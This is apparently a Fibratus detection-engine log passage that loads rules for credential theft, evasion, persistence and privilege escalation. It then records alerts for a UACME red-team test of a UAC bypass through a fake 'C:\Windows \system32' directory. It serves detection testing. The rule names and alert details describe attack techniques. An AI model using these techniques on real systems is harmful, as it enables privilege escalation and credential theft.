excluded-procs=>[] excluded-files=>[] skip-allocs=>false skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T13:30:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:30:34+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T13:30:47+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe "C:\Windows \system32\winsat.exe" ["C:\Windows \system32\winsat.exe"] + Event(s): + Seq: 1168714 + Pid: 6692 + Tid: 880 + Type: CreateProcess + CPU: 5 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 13:30:38.5309629 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 469473000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3d57e080, name➜ conhost.exe, pid➜ 2128, ppid➜ 6692, real_ppid➜ 6692, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 13:30:38.5309629 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 1763814801739722196, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, tactic.id: TA0004 + + Pid: 6692 + Ppid: 15880 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T13:30:48+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe "C:\Windows \system32\winsat.exe" ["C:\Windows \system32\winsat.exe"] + Event(s): + Seq: 1170616 + Pid: 6692 + Tid: 880 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 13:30:38.6861671 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 22160000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3d094080, name➜ cmd.exe, pid➜ 6136, ppid➜ 6692, real_ppid➜ 6692, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 13:30:38.6860681 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 4181029535988318208, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004 + + Pid: 6692 + Ppid: 15880 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T13:31:13+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T13:31:13+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T13:31:13+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T14:21:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-22T14:21:29+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-22T14:21:29+01:00 level=info msg=bootstrapping with pid 15932. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T14:21:29+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] mail=>[ enabled=>false use-template=>true to=>[] content-type=>text/html port=>25] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-image=>true enable-handle=>false enable-vamap=>true flush-interval=>1s stack-enrichment=>true enable-threadpool=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-dns=>false enable-thread=>true min-buffers=>16 enable-audit-api=>true enable-fileio=>true enable-registry=>true enable-net=>true max-buffers=>36 enable-mem=>false buffer-size=>512] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 max-backups=>15 log-stdout=>true level=>info formatter=>text max-age=>0] + output ......................... [ elasticsearch=>[ template-name=>fibratus trace-log=>false healthcheck-interval=>10s servers=>[http://127.0.0.1:9200] sniff=>false timeout=>5s bulk-workers=>1 flush-period=>1s gzip-compression=>false index-name=>fibratus enabled=>false healthcheck-timeout=>5s healthcheck=>true] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ url=>amqp://localhost:5672 vhost=>/ routing-key=>fibratus delivery-mode=>transient exchange=>fibratus durable=>false exchange-type=>topic passive=>false tls-insecure-skip-verify=>false timeout=>5s enabled=>false] eventlog=>[ level=>info enabled=>false] http=>[ enabled=>false timeout=>5s method=>POST endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false serializer=>json]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false excluded-files=>[] skip-registry=>false fastscan=>true excluded-procs=>[] scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T14:21:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:21:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T14:21:59+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe "C:\Windows \system32\winsat.exe" ["C:\Windows \system32\winsat.exe"] + Event(s): + Seq: 1266544 + Pid: 15672 + Tid: 9788 + Type: CreateProcess + CPU: 3 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 14:21:38.6585776 +0100 CET + Params: cmdline➜ \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1, directory_table_base➜ 440266000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\conhost.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3e5ce080, name➜ conhost.exe, pid➜ 2684, ppid➜ 15672, real_ppid➜ 15672, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 14:21:38.6585776 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 1763817853277400828 + + Pid: 15672 + Ppid: 1160 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T14:22:01+01:00 level=info msg=sending alert: [UAC bypass via trusted Windows directory masquerading]. Text: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe "C:\Windows \system32\winsat.exe" ["C:\Windows \system32\winsat.exe"] + Event(s): + Seq: 1269289 + Pid: 15672 + Tid: 9788 + Type: CreateProcess + CPU: 2 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-22 14:21:38.8223487 +0100 CET + Params: cmdline➜ "C:\WINDOWS\system32\cmd.exe", directory_table_base➜ 1f7d18000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\cmd.exe, exit_status➜ Success, flags➜ , kproc➜ ffff998c3e1d4080, name➜ cmd.exe, pid➜ 2288, ppid➜ 15672, real_ppid➜ 15672, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-22 14:21:38.822265 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 12683825632463814656, rule.name: UAC bypass via trusted Windows directory masquerading, tactic.id: TA0004, tactic.name: Privilege Escalation + + Pid: 15672 + Ppid: 1160 + Name: winsat.exe + Parent name: Akagi64Con.exe + Cmdline: "C:\Windows \system32\winsat.exe" + Parent cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 52 + Exe: C:\Users\nedo\AppData\Local\Temp\system32\winsat.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Windows \system32\winsat.exe"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-22T14:22:01+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 1269842 + Pid: 6420 + Tid: 13600 + Type: LoadImage + CPU: 5 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-22 14:21:38.8370208 +0100 CET + Params: base_address➜ 7ffc2d1d0000, checksum➜ 146643, default_address➜ 7ffc2d1d0000, file_path➜ C:\Windows\System32\Windows.System.UserProfile.DiagnosticsSettings.dll, image_size➜ 114688, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 6420, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 6420 + Ppid: 12668 + Name: msedge.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\142.0.3595.90\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --flag-switches-begin --flag-switches-end --no-startup-window] + Session ID: 1 + Envs: map[:::=::\ ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPONENT_INSTALLER_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData EDGE_BROWSER_PID:6420 EDGE_CRASHPAD_PIPE_NAME:\\.\pipe\crashpad_6420_RUHPJWSRCHKKNVKY EDGE_METRICS_CLIENT_ID_HASH:-9056472292176040183 EDGE_METRICS_SESSION_ID:1103 EDGE_RUNTIME_VARIATIONS_SEED_ETAG:"Ng+ciWeYNgyOU8mmJTuEKPJww4K7JAnAhy10yGTQQSE=" EDGE_USER_DATA_DIR:C:\Users\nedo\AppData\Local\Microsoft\Edge\User Data EDGE_UX_CONFIG_CORRELATION_ID:I9sak1f0q14NYBN6knwzhWi4Dm+t+oXs3j4Fvuqnw2c= EDGE_VARIATIONS_SEED_ETAG:"U4gJnt6VPr1n93l/b1bZfWpLqffQQc09kBrRPcIaAZk=" EFC_1748_1262719628:1 EFC_1748_1592913036:1 EFC_1748_2283032206:1 EFC_1748_2775293581:1 EFC_1748_3789132940:1 FPS_BROWSER_APP_PROFILE_STRING:Internet Explorer FPS_BROWSER_USER_PROFILE_STRING:Default GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive 